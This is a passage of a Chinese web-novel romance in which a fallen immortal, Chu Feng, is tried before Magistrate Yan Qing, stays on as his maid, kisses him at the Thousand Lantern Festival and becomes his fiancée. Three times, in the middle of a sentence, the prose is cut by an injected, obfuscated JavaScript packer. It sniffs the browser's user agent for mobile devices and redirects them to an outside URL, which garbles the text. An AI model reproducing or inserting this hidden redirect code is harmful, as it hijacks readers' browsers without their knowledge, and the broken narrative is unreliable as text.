“颜大人的办事效率竟如此之高!”我放下车帘,转头看向他,语气中带着几分调侃,“是上次公堂上说他家娘子喝了村里的井水肚子疼那件事吗?” 颜卿点点头,将公文放在一旁,语气平静。 “嗯。经过调查发现是同村一男子故意往井里下了种让饮水人腹泻的药。犯罪者已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119086|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在关押在监狱,今天来是看看之前汪晟送的解药是否有效。” 我沉吟片刻弯起眉眼,戳了戳颜卿的脸颊。 “我现在明白为什么这么多姑娘争着抢着要嫁给你了。” 颜卿轻挑眉反问。 “为什么?” 我掰着手指数给他听。 “生得好看,办事效率高,为人亲和。”我顿了顿,扬起几分得意,“只可惜,她们都没机会啦。” 颜卿轻笑出声,放下公文握住我的手,我也笑着靠在他肩上。马车内,气氛温馨而宁静。我抬头看向颜卿,发现他正注视着我,眼中满是深情。我们相视一笑,仿佛马车的喧嚣与我们无关。 “颜卿。” “嗯?” “我突然……想在这里……” 肉眼可见,他的脸上快速染上红晕,眼神迷离,四处张望。 我抿唇偷笑,不自知的手缓缓伸向他的腰间,但被他半路拦截。 “我穿着官服呢。” “然后呢?”我不以为然。 “咳咳。”他轻咳低声温柔地责备,“官服在,职责在。” “那你现在脱了。” 说罢,我一把抓住他腰间的革带。 一瞬间,他突然捏住我下巴,迫使我抬起头,然后劈头吻住我的双唇。 漫长的吻让我险些无法呼吸。 等他离开时,眼前忽暗忽明,我扶着额靠上他的肩头。 “你耍赖……” “没办法,对你,只能用这一招。” “哼,颜大人学坏了。” “多亏楚姑娘教得好。” “哼,这口黑锅我可不背。” 西街的裁缝铺里,阳光透过雕花的窗棂。铺子里摆满了各色布料,丝绸、锦缎、纱罗,琳琅满目,色彩斑斓。颜卿和我并肩站在柜台前,裁缝铺的老板正热情地为我们介绍着最新的布料。 “夫人您看,这匹云锦,可是从江南新进的货,质地柔软,色泽鲜艳。”老板指着一匹绿色绣着祥云纹样的锦缎。 我伸手摸了摸那匹锦缎,触手温润质地细腻,确实不错。我转头看向颜卿。 “你觉得如何?” 颜卿微微一笑,目光温柔:“挺好。你喜欢便定下吧。” 我点点头,对老板说道:“那就这匹吧。” 老板笑着点头,随即拿出钞尺,开始为我量尺寸。他一边量,一边笑着说道:“夫人和大人真是天造地设的一对,这婚服做出来,一定羡煞旁人。” 我低头看着老板手中的尺子,心中泛起一阵甜蜜,却又有些担忧:“老板,只有十天时间,来得及吗?” 老板拍了拍胸脯,信誓旦旦地说道:“夫人放心,我们铺子里的师傅绝对是信州手艺最好的,保质保量完成。”说着他又轻叹了口气,多了几分感慨,“这可是整个信州府等了八年的婚礼呢,到时候一定热热闹闹的!” 等了八年的婚礼……莫非这八年,颜卿一直在信州?放着功名利禄不去争取,守着一处只为等我回来吗? 我垂眸,默默等老板量完尺寸。 颜卿早已量完在门外等我,见我进去还好好的,出来时脸上多了层阴霾,不禁担忧起来。 “可有什么不满意之处?” 我摇头。 “不是的。只是感慨,你竟然为了区区一个我,足足等了八年。” 颜卿以为我会说什么大事,一听是此事,扬了扬唇角牵起我的手。 “哪儿是区区一个你,是,正因为是你。我答应过你的,第一次是你,以后的每一次都是你。” 33. 雾失楼台 “堂下何人?” “小民李四,三口村人,今早在自家牛棚里干活,竟发现里面躺了个陌生女子。小民正要上前询问,没想到这姑娘二话不说就揍了小民一拳!” 李四跪在堂下,额头紧贴地面,声音颤抖,带着几分委屈和惶恐。他双手微微发抖,似乎还在回味那一拳的痛楚。 公堂上的知县转而看向我。 “被告何人?为何躺在别人家牛棚里?” “他乱讲!颠倒是非!” 我站在堂中,直视着堂上的知县,紧握成拳,眼中闪过一丝愤怒。 “那你说,怎么一回事?” 温柔的语气似是安抚我委屈愤怒的心。我也沉下心来,瞪着跪地上的李四。 “我确实躺在他家牛棚,是我先不对。但他哪是来询问,二话不说就要扒我衣服!这是猥亵!为求自保,我当然要揍他了。” 我微微侧身,指向李四,眼中满是鄙夷和不屑。 李四猛地抬起头,眼中满是焦急和恐惧。 “小民绝对没有!颜大人给小民做主啊!这姑娘一看就是外乡人,谁晓得她躲进小民家牛棚是想干嘛!” 他的声音中带着一丝哭腔,显得格外无助,仿佛受了天大的委屈。堂外围满了当地百姓,见我是个异乡人,纷纷把矛头指向我。 “好了,本府自有定夺。你,叫什么名字?” 他看向我。我心虚地错开眼神。 “我没有名字。” “没有名字?” 知县微微皱眉,目光如炬地盯着我。他指尖轻轻敲击着案几,似乎在思索着什么。 “大人你看!她做贼心虚,连名字都不敢说!” 李四突然激动起来,指着我的手指微微发抖。他的眼中闪过一丝得意,仿佛抓住了我的把柄。 “再说一遍我没有!” 我怒视着李四,眼中几乎要喷出火来。 “安静!” 颜知县猛地一拍惊堂木,声音如雷贯耳。堂下顿时鸦雀无声,李四低下头,不敢再言语。我冷哼了声,双臂交叉抱在身前,转向一边。颜知县的目光在我们之间来回扫视,似乎在权衡着什么。 “接下来我有几个问题问你,你要如实回答。” 他是在问我。 “你为何出现在他家牛棚?” “我受伤了,为了躲避追击,所以躲进了他家牛棚。” “什么时候?” “昨天晚上。” “你说他想猥亵你,可有证据?” “他刚要扒我衣服我就先揍了他,没有证据。不对……我的发簪……好像不见了……” “好,本府知晓了。” 堂内的气氛紧张而压抑,仿佛连空气都凝固了。李四的额头渗出细密的汗珠,我的拳头依然紧握,指节发白。颜卿缓缓站起身,目光如炬,仿佛要看穿我们内心的每一个角落。 “李四,如果这姑娘说的是实话,就算她揍了你,你依旧有罪在先。”颜知县的声音低沉而有力,带着不容置疑的威严,“所以,事实到底是怎么一回事?” 李四一愣,随即慌乱地摇头:“小民……小民真的没有……” 颜知县又将目光转向我:“你说你受伤了,牛棚可还留有你受伤的证据?” “……有。”我深吸一口气,努力平复心中的愤怒和不安:“草堆下,有血。不出意外的话,我的发簪也在那里。” 李四显然没想到这一点,脸色瞬间煞白,目光呆滞。 颜知县的目光在我和李四之间来回扫视,似乎在权衡着什么。片刻后,他缓缓开口:“本府立刻派人前往李四家牛棚调查。李四,主动认罪杖责三十,关押三日。若是等本府调查清楚再认,则杖责八十。” 李四闻言,脸色瞬间惨白,连连磕头:“大人明鉴!小民绝无此意,只是……只是……” “只是什么?”颜知县的声音陡然提高,带着不容置疑的威严。 李四支支吾吾,半天说不出话来。 颜知县目光如炬地盯着他:“李四,你可知罪?” 李四浑身一颤,终于低下头,声音微弱:“小民……小民知罪。” 颜知县微微点头,目光转向我:“姑娘,你虽是无心之过,但擅闯民宅打人在先,按律也当受罚。念在你身上有伤,也是为求自保,便关你一日。” 我深吸一口气,无奈认罪受罚。 李四被人架着双臂拖走,围观的群众散去,那位知县颜大人也走下堂来到我面前。 我轻蹙眉头抬眸看着他,保持警觉。 “哪里受伤了?”他的目光落在我略显苍白的脸上,声音低沉而温和,带着一丝关切。 我闪过一丝疑惑。 “大人不送我去牢狱吗?” 我的声音有些虚弱,腰后的伤口隐隐作痛,让我忍不住皱了皱眉。 颜知县的目光在我身上停留片刻,似乎在打量我伤在何处。他轻轻叹了口气,语气坚定:“你既然有伤,就先治疗。哪里受伤了?” 我咬了咬唇,犹豫片刻,下意识地伸手摸了摸伤口的位置,触到一片湿润。再看指尖,已染上明显的血迹。 “师爷,去叫唐大夫。” 师爷点头,快步走出公堂,脚步声在空旷的厅堂中回荡。我站在原地,想不通颜知县为何关心我的伤势。这种突如其来的善意让我有些不知所措,心中既感激又有些不安。 莫非是这牢狱里普通姑娘家受不了,怕我挺着伤进去,死在里边? 颜知县的目光重新落在我身上,语气缓和了些。 “先治疗。嘴唇都没有血色了。” 他指了指一旁的椅子,示意我坐下。 我犹豫了一下,最终还是缓缓走到椅子旁,小心翼翼地坐下。腰后的伤口随着动作传来一阵剧痛,我忍不住倒吸一口冷气,额头上渗出细密的汗珠。 颜知县见状,低声问道:“伤口很深吗?” 我的声音有些虚弱:“应该是……昨晚被人偷袭,没来得及处理。” 颜知县沉默片刻,缓缓开口:“在信州如果遇到什么困难,都可以找我。” 我抬起头看向他。 “大人是个好人。谢谢。” 突如其来的感谢,显然让颜知县有些猝不及防。耳根迅速染上红晕,别开视线。 不久,师爷带着一名大夫匆匆赶来,想必就是唐大夫了。唐大夫背着一个药箱,快步走到我身旁,轻声问道:“姑娘,哪里受伤了?” 我指了指腰后的位置。 “这里,被插了一刀。” 唐大夫点了点头,示意我转过身去。他刚要掀开我的衣衫检查伤口,忽然意识到不对,又收回手。 “大人,这里是公堂……” 唐大夫低声说道。颜知县立刻明白,伸手扶我起身。 “失礼了。” 然后,将我打横抱起,穿过门廊,带我到了应该是信州府生活起居的地方,抱我进了一间无人居住的空房。 颜知县回避后,唐大夫才开始替我检查伤口。我感受到他的手指在伤口周围轻轻按压,疼痛让我忍不住咬紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119087|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了牙关。 “伤口有些深,需要缝合。”唐大夫的声音沉稳而温和,“按时上药静心修养,愈合很快的。好在伤的不是明显部位,姑娘不必担心。” 我点了点头,心中稍稍松了一口气。其实睡一觉就能好的,或者说找点仙草仙药。奈何清早还没睡醒就被折磨到现在。待会儿还得去牢里坐坐…… 烦!没事跑凡间来干嘛! 唐大夫收起药箱,走到门外和颜知县交代了几句便离开了。 我趴在柔软的铺床上,困意来袭。 颜知县再进屋内时,我已经彻底失去意识,见周公去咯。 再睁开眼,房间还是睡之前的房间,只是,哪里变了。 我揉了揉眼捂着腰坐起身。 到底哪里变了…… 掀开被子,穿上床边仅剩的一双鞋,推开紧闭的门扉,似是清晨的阳光耀眼而温暖。我怎么记得我睡着之前是阴天呢?审判结束也该是中午了,这阳光……如何看都不像午后的样子。 “姑娘醒啦。” 一位十五六岁的姑娘端着餐食走向我。 “先吃点东西吧。衣服穿着还合身吗?颜大人见你衣服上染了血,让我给您换了一件。” 原来是衣服被换了,我说怎么感觉哪里变了。 她越过我走进屋内,将托盘放下。 “谢谢……”我迷迷糊糊地道谢,“颜知县呢?我醒了,可以去坐牢了。” 那姑娘惊讶地看向我,扑哧一笑。 “姑娘这么想坐牢啊。”她一面摆着碗筷一面笑着说道,“颜大人说,您正好在这儿昏睡了一整天,反正都在这信州府,就当罚你在牢里待了一天啦。” 还能这样? “姑娘先吃饭吧。待会儿,我带你去见颜大人。” “哦……” 昨夜,也不知怎的,从蓬莱回人界时,我的“仙途司南”似乎出了点问题,竟然直接把我送到了一处山头山大王的地盘上。更倒霉的是,我这一落,不偏不倚,正好砸在了人家寨子里的“传世珍宝”上——那玩意儿看着像个大花瓶,结果一碰就碎,跟纸糊的似的。 我心想,这算啥事儿啊?好歹我也是个神仙,虽然是个不太靠谱的神仙,但赔个花瓶还是绰绰有余的。于是,我拍了拍身上的灰,潇洒地一挥手,从袖子里掏出一颗闪闪发光的夜明珠,豪气干云地说道:“大王别急,这玩意儿我赔你!比你这花瓶贵重千百倍,够意思吧?” 没想到,那山大王一听,不仅没领情,反而气得胡子都翘起来了,大吼一声:“兄弟们,给我砍了这个不知天高地厚的家伙!” 我一听,心里咯噔一下:哦豁,这下玩脱了。 人界不准飞,只能用腿跑了。于是,我撒丫子就跑,山路崎岖,黑灯瞎火的,我一边跑一边心里嘀咕:“这山大王是不是脑子有坑?我都赔他夜明珠了,他还砍我?难道他更喜欢花瓶?” 结果,一个没留神,脚下一滑,摔了个狗啃泥。还没等我爬起来,后面追兵就赶上来了,一刀插进了我的腰后方。疼得我龇牙咧嘴,心里直骂:“敢杀神?!你们这是要逆天啊!” 我气得不行,抬手一挥,仙力一荡,直接把那群追兵震晕了。然后,我捂着腰,一瘸一拐地躲进了附近一户人家的牛棚里。心想:“先躲一躲,等天亮了再想办法。” 后面的事,都知道啦。 区区凡人竟敢把神仙告上公堂! 唉,真是倒霉透顶! 不过,话说回来,那山大王的花瓶到底是啥来头?难道比我的夜明珠还值钱? 34. 雨晴烟晚 饭后,那姑娘领我去见颜知县。 我跟着她穿过县衙的回廊,心中有些忐忑。虽然免了牢狱之灾是该谢谢人家,但一想到要单独面对那位知县,心里不免有些紧张。 才不是怕他!是有……别的原因。 走到书房门口,姑娘轻轻敲了敲门,里面传来一声低沉的“进来”。她推开门,示意我进去。我深吸一口气,迈步走进书房。 书房内,烛光摇曳,映照出颜知县伏案工作的身影。他低着头,手中握着一支毛笔,正在批阅公文。眉头微蹙,神情专注,仿佛周围的一切都与他无关。烛光映在他的侧脸上,勾勒出他棱角分明的轮廓,显得格外清冷而疏离。 我站在门口,一时有些出神。他的身影在烛光下显得格外修长,衣袖随着笔尖的移动轻轻摆动,动作优雅而从容。不知为何,我心中突然涌起一种奇怪的感觉,仿佛有什么东西在心底轻轻拨动了一下,带着一丝说不清道不明的悸动。 颜知县察觉到我后,抬起头来,目光落在我身上。他的眼神依旧深邃而冷静,但不知为何,我却觉得那目光中似乎多了一丝柔和。他放下手中的笔,缓缓站起身,走到我面前。 “伤口如何了?”他的声音低沉而温和,带着一丝关切。 我微微一愣,随即低下头。 “多谢知县大人关心,上了药,不怎么疼了。” 他点了点头,目光在我脸上停留片刻,似乎在确认我的状态。片刻后,他轻声说道:“日后若有什么需要,随时可以到信州府找我。” 原来是跟我道别。 我抬起头,犹豫着张口又闭口。心中那股奇怪的感觉愈发强烈,仿佛有什么东西在心底悄然滋生。我咬了咬唇,终于鼓起勇气,一把抓住他的衣袖。 “大人!我……我无处可去,能否……可否留我在您府上做个丫鬟?我可以端茶递水、打扫卫生,做啥都行!进后厨当洗碗工也行!保证不给您添麻烦!” 颜知县闻言,身体怔愣,视线不时瞟向我抓住他的手。 不出所料,他的耳根又红了。 片刻后,他轻咳两声缓缓开口。 “府上的丫鬟并非轻松差事,每日需早起晚睡,事务繁杂……” 我连忙打断,眼中带着一丝坚定。 “我可以!只要能有个安身之处,再苦再累我也愿意。” 颜知县的目光在我脸上停留片刻,眼中闪过一丝复杂的情绪。他轻轻叹了口气,语气缓和了些:“既如此,你便留下吧。不过,一切需按规矩行事,不可逾越。” 我心中一喜,连忙点头:“多谢颜大人!” 颜知县微微点头,转身走回书案旁,重新拿起毛笔,继续批阅公文。我站在一旁,望着他心生欢喜。 计划通! “对了。”离开前我回头望向他,“还不知大人姓名?” “姓颜,单名一个卿字。” 颜卿……我暗暗重复着他的名字。 颜者,华彩也;卿者,雅士之称。“颜如渥丹,卿云烂兮。” 我抿唇窃喜。 “记住啦,颜卿。” 我在信州府住下后,勤劳肯干,深得大家的喜爱。每日天不亮就起床,扫地、擦桌、端茶、递水,样样不落人后。府上的丫鬟们见我手脚麻利,纷纷夸我能干,连厨房的张大娘夫妇都忍不住夸我,每顿给我多加一个包子。 “这丫头,肯吃肯干!要是咱家能生出这么水灵的姑娘多好。” 管家李叔更是对我另眼相看。某日,他捋着胡子笑眯眯地走到我面前,上下打量了我一番,说道:“丫头,你这般勤快,又聪明伶俐,可愿做咱们颜大人的贴身丫鬟?不仅能近身伺候大人,还能学些文墨,长些见识。” 我一听,心中顿时乐开了花,脸上却故作矜持,低头轻声道:“李叔,我……我怕自己笨手笨脚,伺候不好大人。” 李叔哈哈一笑,拍了拍我的肩膀。 “可找不到再比你机灵的人了。大人身边正缺个细心的人。” 我连忙点头。 “多谢李叔!放心吧,我一定把大人照顾得白白胖胖的!” 李叔满意地点点头,转身去找颜卿禀报。我站在原地,心中暗自窃喜:两个月的努力,终于等到了这一刻! 我心中雀跃,一蹦一跳来到颜卿的书房门口。故作镇定,敲门而入。 颜卿正坐在书案前批阅公文,见我进来,抬头看了我一眼,淡淡道:“在府上待得可还适应?” “嗯!可充实了。” 颜卿点了点头,目光中带着一丝淡淡的温和。 “也别太累了,注意休息。” 我抿唇笑着连忙点头。 颜卿微微颔首,继续低头批阅公文。我站在一旁,偷偷观察他,按耐不住内心的雀跃。 从那天起,我名正言顺地天天黏在颜卿身边。每日清晨,我早早起床,为他准备好洗漱用品;他批阅公文时,我便在一旁研墨、递茶;除开公务,他外出时,我便跟在身后,替他打点一切。 日子久了,颜卿对我的态度也渐渐温和起来,笑起来时嘴角的弧度上扬不少。某日,他忽然放下手中的笔,抬头看向我,眼中带着一丝笑意:“今晚千灯节,要不要去看看?” “千灯节?” “嗯,信州府每年最热闹的节日。你初到信州,兴许会有兴趣。” “去!”我微微一笑,凑到颜卿面前,“那就麻烦颜大人带我见识见识啦。” 突然拉近的距离让颜卿躲闪不急,眼睛四处乱飘,耳根红透,就连握笔的手都不自觉微微发抖。 千灯节,信州府每年五月初五最盛大的节日。传说百年前,信州曾遭遇一场大旱,百姓苦不堪言。某日,一位道法高深的僧人出现,说点燃千盏明灯,照亮整个信州城,天上的神仙看到后,便能驱散黑暗,迎来甘霖。果然,次日天降大雨,旱情得以缓解。自此,信州百姓便将这一日定为“千灯节”,祈求来年风调雨顺、平安喜乐。 夜幕初垂,信州城内已是灯火通明。街道两旁挂满了各式各样的花灯,有莲花灯、鲤鱼灯、龙凤灯,还有精巧的走马灯,灯影摇曳,映得整条街如同白昼。 城中的广场上,早已搭起了一座高高的灯台。灯台上摆放着一盏巨大的莲花灯,花瓣层层叠叠,中心燃着一簇明亮的火焰,象征着希望与光明。灯台四周,百姓们手持小灯,排成长队,等待着点燃自己的灯盏。 我站在颜卿身旁,手中捧着一盏小巧的兔子灯,灯芯还未点燃。颜卿今日难得换下了官服,穿着一身月白色的长袍,腰间系着一条青色的丝带,显得格外清雅。他手中也提着一盏灯,灯上绘着几枝墨梅,栩栩如生。 “千灯节……颜大人觉得天上的神仙真的能看到吗?”我抬头看向他,眼中满是欣喜。 颜卿微微一笑,目光落在远处的灯台上。 “无论是否看到,这份信念陪伴信州百姓走过了百年。如果可以,我希望能看到。神仙,一定也不想错过如此美景。” 我眨了眨眼,歪头笑着问他:“假设现在神仙正看着听着呢,你有什么心愿吗?” 颜卿低头看了我一眼,唇角浮起淡淡的笑意。 “自然是希望信州风调雨顺,百姓安居乐业。” 我嘟着嘴,暗自嘀咕:连许愿都这么正经,难怪二十一二还没妻室。 正说着,灯台上的莲花灯忽然亮起,火焰跳动,映得整个广场一片明亮。百姓们纷纷欢呼起来,随后依次上前,将自己的灯盏点燃。一时间,千盏明灯齐亮,如同繁星落地,美不胜收。 我捧着兔子灯,小心翼翼地走到灯台前,将灯芯点燃。火焰跳动,映得我的脸颊微微发烫。我闭上眼睛,故意念出声让身旁之人听清。 “愿信州百姓平安喜乐,愿颜卿得一人心,白首不相离。” 许完愿,我抬眸看向一旁的颜卿,见他正抬头望着满天的灯火,神情专注但掩不住红透的耳根和脸颊。 “大人许了什么愿?” 颜卿微微一笑,目光深邃。 “愿望说出来,就不灵了。” 我撇了撇嘴。你不说我难道就不知道了吗。现在在你身旁的,可是真神。 正想着,忽然听到远处传来一阵欢呼声。抬头望去,只见天空中升起了无数盏天灯,灯影摇曳,如同星河倒悬,美得令人窒息。 “大人快看!天灯!”我兴奋地拉了拉颜卿的衣袖。 颜卿一下怔愣,盯着我落在他衣袖的手。 我仰头看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119088|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满天的天灯,心中满是欢喜。 忽然,颜卿的声音在耳边响起:“楚风,你可知天灯还有另一个名字。” 我转过头,好奇地问道:“什么名字?” 颜卿微微一笑,仰头看着满天星河。 “叫‘心愿灯’。据说,将心愿写在灯上,随着灯升入天空,便能被天上的仙人听见,帮你实现。” “那大人可曾写了心愿?” 颜卿摇了摇头。 “未曾。不过,你若想写,我可以陪你。” “好啊!” 颜卿带着我走到一旁的小摊前,买了两盏天灯。我不经思考便将心愿写在灯上,偷偷瞥了一眼颜卿,见他正专注地写着什么,心中不禁有些好奇。 写完后,我们一同将天灯点燃。灯影摇曳,缓缓升入天空。 “你的心愿,一定会实现的。” 闻声,我微微一怔,转头看向他,他却望着天空,嘴角噙着一抹笑。我暗喜,脸上泛起一丝红晕,看向他垂在身侧的手。 夜风轻拂,千灯齐明,整个信州城笼罩在一片温暖的光辉中。 “颜卿。” “嗯?” 我抬手抚上他的后颈,猛地一用力,将他惊愕的脸拉近。 “神说,她听到你的心愿了。于是,派我来满足你的愿望。” “什——” 没等他说完,我仰起头吻上他。 夜幕低垂,天穹如墨,漫天的天灯缓缓升起,像是无数星辰从地面挣脱,飘向无尽的苍穹。每一盏灯都承载着信州人的祈愿与梦想,微弱的光芒在黑暗中闪烁,连成一片温暖的光海。光影交错,整个世界都笼罩在一片梦幻般的柔光之中。 人群熙熙攘攘,笑声、欢呼声、祈祷声交织在一起,形成一片嘈杂的背景音。然而,这一切与我们无关。 仿佛被这片光海隔绝,只剩下彼此的存在。 颜卿的身影在天灯的映照下显得格外清晰,眉眼如画,眸中倒映着点点光芒,像是藏着整片星空。而在那片星空中,倒映着一个我。 我轻轻捧起他的脸,指尖触碰到他微凉的肌肤,感受到他微微的颤抖。他的眼中闪过一丝惊愕,似乎未曾料到我的举动。我稍稍离开,目光与他的交汇,仿佛在确认他的反应。他的呼吸有些急促,眼中带着迷茫与慌乱,像是从未经历过这样的时刻。 我没有给他太多思考的时间,再次靠近,深深地吻了下去。这一次,我的动作更加坚定,带着一种不容拒绝的温柔。舌尖撬开他紧闭的双唇,颜卿的身体猛地一僵,像是被惊雷劈中了一般,整个人都愣住了。他的手臂悬在半空中,不知所措,仿佛不知道该放在哪里。他的唇瓣柔软而冰凉,带着青涩的颤抖。 我感受到他的惊慌,轻轻松开他,额头抵在他的胸膛,呼吸有些紊乱。颜卿的眼中依旧带着迷茫、慌乱与无措,脸颊染上了一层淡淡的红晕,比天灯洒下的光更甚。他的手指无意识地攥住了我的衣袖,指尖微微颤抖,仿佛在努力平复自己的情绪。 “你……”他的声音低哑而微弱,像是从喉咙深处挤出来的,带着一丝不确定与慌乱。他的目光躲闪着,不敢直视我的眼睛。 我轻轻笑了笑,指尖抚过他的脸颊,低声说道:“这是你的第一个吻吗?” 他低下头,耳根红得几乎要滴出血来。他没有回答,只是轻轻点了点头,手指依旧紧紧攥着我的衣袖。 我环上他的腰,手臂收紧,侧头倾听他心脏鼓动的声音。颜卿的身体依旧有些僵硬,但渐渐放松下来,将脸埋在我的发顶,温热的气息轻轻拂过我的发丝。 他的手掌轻轻搭在我的背上,指尖微微用力。 “颜卿……”我轻声唤他的名字,声音像是被风卷走,微弱得几乎听不见。他更加用力地将我拥紧,仿佛在回应我的呼唤。他的下巴轻轻抵在我的发顶,呼吸间带着一丝颤抖。 “楚风……我……”他咽下一口气,“我该怎么办……我该如何回应你……” 我没有回答,只是静静地依偎在他的怀里,感受着他的温度与心跳。 天灯依旧在飘荡,光芒洒落在我们的身上,将这一刻定格成永恒。远处的人群依旧喧嚣,此刻,我的眼里只有他,只有这个吻,只有这片漫天的光海。 35. 奈何绵绵 楚风,我给自己取的新名字,出自《楚辞》。 “沅有芷兮澧有兰,思公子兮未敢言。” 见到颜卿的第一眼,我便下定决心,他——非我莫属。我一见他欣喜若狂,刹那间,他的眼神一下夺走我不为人知、深藏已久的心。 可惜,他是个尚未开窍的木头。 颜卿不是我下凡邂逅的第一个人,确实第一个令我不知如何是好的人。既然不晓得怎么办,且在他身边多留一段时日吧,终有一天,我会明白的。 他的心思太过单纯,像是在官府出家的人,远离红尘,远离男女情爱,一心为国为民。 没关系,我有的是时间。既然不能一步到位占有他,那就一步一脚印,靠双手把他拉到身边来。 千灯节那天后,我本以为颜卿会躲着我、回避我,因为他说他不知道如何回应我。我知他是块木头,不肯再见我也属正常,我也提前给自己做好了心理准备。 没想到……事情的发展完全出乎我的意料。 “欸?未婚妻?我吗?” 面对我的三连问,颜卿只有一个肯定的回答。 “是的。” 眼前的人身姿挺拔如松地站在我房门口的院子里,眉眼间是不容置疑的坚定。 “从今日起,你便是我的未婚妻了。” 我愣住了,手中的茶杯差点掉在地上。 脑子好乱,这是什么情况?我是不小心昏迷了几天还是失忆了,怎么突然就跳到了“未婚妻”这一步? 我张了张嘴,却不知道该说什么,只能呆呆地看着他,试图从他的表情中找出一点玩笑的痕迹。 然而没有,找不到。他微微皱眉,似乎对我的反应有些不解,但还是耐心地解释道:“千灯节那日,众目之下,你……亲了我。这关系到姑娘家的清白名声,我不能让你因此受人非议。既然你我皆在人世间孤身一人,没有父母长辈需要请示,那便省去了下聘书的过程。等有空了,择一良辰吉日,我娶你过门。” 他的语气平静得像是在讨论天气,仿佛这一切都是理所当然的。我却听得目瞪口呆,心里五味杂陈。原来,他是因为这个原因才决定娶我?因为一个吻,因为所谓的“清白名声”? 我忍不住笑了,笑声里带着一丝无奈。 “颜卿,你是因为责任才要娶我吗?”我看着他,眼中带着一丝探究,“还是说,你真的想娶我?” 颜卿微微一愣,似乎没料到我会这么问。他的眉头皱得更紧,眼中闪过一丝困惑,像是从未思考过这个问题。 良久,他才低声说道:“我不知道。但我知道,我不能让你因我而受人非议。你……值得被好好对待。” 他的话让我心中一暖,却又有些酸涩。这个木头一样的男人,明明不懂情爱,却因为一份责任感,愿意将余生与我绑在一起。忽然觉得有些好笑,又有些心疼。 “颜卿,”我轻声唤他的名字,语气里带着一丝温柔,“你有没有想过,或许我并不在意那些所谓的名声?或许我亲你,只是因为我喜欢你,而不是为了让你负责?” “我……”他张了张嘴,却不知道该说什么,只能偏过头,避开我的目光。 我笑了笑,伸手轻轻抚过他的脸颊,指尖触碰到他滚烫的肌肤。“颜卿,我不需要你因为责任而娶我。如果你真的想娶我,我希望是你也喜欢我,而不是为了保护我。” 他没有说话,只是将脸埋在我的掌心,呼吸轻轻拂过我的手指,带着一丝温热。 “好,我答应你,我会好好想想的。” 我点了点头,心中涌起一阵复杂的情感。这个木头一样的男人,比起得到他的人,我的目的已在无形中变更,我要让他连人带心,彻底属于我。 信州府一天到晚可有得忙了。颜卿又是个凡事喜欢亲力亲为的好人,上到审理案件、调解纠纷,下到巡查街巷、安抚百姓,他无一不亲自过问。每日天未亮,他便已起身,披着晨露赶往府衙,直到夜深人静才拖着疲惫的身子回来。他的案头总是堆满了卷宗,笔墨纸砚散乱其间,仿佛永远没有尽头。 早晨,我伸着懒腰从厨房里出来,嘴里还嚼着最后一口馒头。 大堂似乎又在办案,我习惯性从后面绕过去看戏。 今天的案子似乎和欠债不还有关,我站在人群后面努力踮起脚才勉强看到跪在地上的男人。听身旁的人议论,堂下之人名叫赵老三,说有个女的欠债不还。 这时,几位衙役押着一名妇人上堂。那妇人低着头,身子微微颤抖,像是害怕极了。 赵老三的目光在妇人身上打量了一圈,冷笑一声,声音里带着一股狠厉:“让你欠钱不还。” 妇人抬起头,脸色苍白,声音微弱却坚定:“我没有欠你钱……” “颜大人在上你还敢嘴硬!”赵老三猛地提高了音量,脸上的肌肉因愤怒而扭曲。他手指着妇人,语气咄咄逼人:“说你欠了就是欠了,乖乖认错,把钱还给我!” 颜卿皱起眉头,一贯温和的眸子里像是结了一层冰。他敲了敲惊堂木,声音冷冽:“公堂之上,注意言行。” 赵老三被这一声震慑,稍稍收敛了些,但眼中的狠厉依旧不减。颜卿又看向那名不敢作声、头垂得快要贴上自己的妇人,语气放缓了些:“李氏,你说说是怎么一回事。” 李氏张了张嘴,似乎想要说什么,但目光一触及赵老三那凶狠的眼神,便又缩了回去。她的手指紧紧攥着衣角,指节因用力而发白。最终,她只是颤抖着从怀里摸出一袋钱币,递给赵老三,声音低得几乎听不见:“我……我还钱。” 赵老三一把抓过钱袋,掂了掂分量,脸上露出一抹得意的笑容。他朝颜卿拱了拱手,语气里带着一丝讥讽:“多谢颜大人主持公道,小人这就告退了。” 颜卿的眉头皱得更紧,目光在李氏和赵老三之间来回扫视,似乎察觉到了什么不妥。但他还未开口,赵老三已经转身大步离开了公堂。李氏也低着头,匆匆退下,仿佛一刻也不想多留。 我看着这一幕,心中隐隐觉得不对劲。李氏那害怕的神情,赵老三那嚣张的态度,还有颜卿那欲言又止的表情,都让我觉得这案子并没有表面上那么简单。 于是,我悄悄跟上了赵老三,想看看他到底在搞什么名堂。 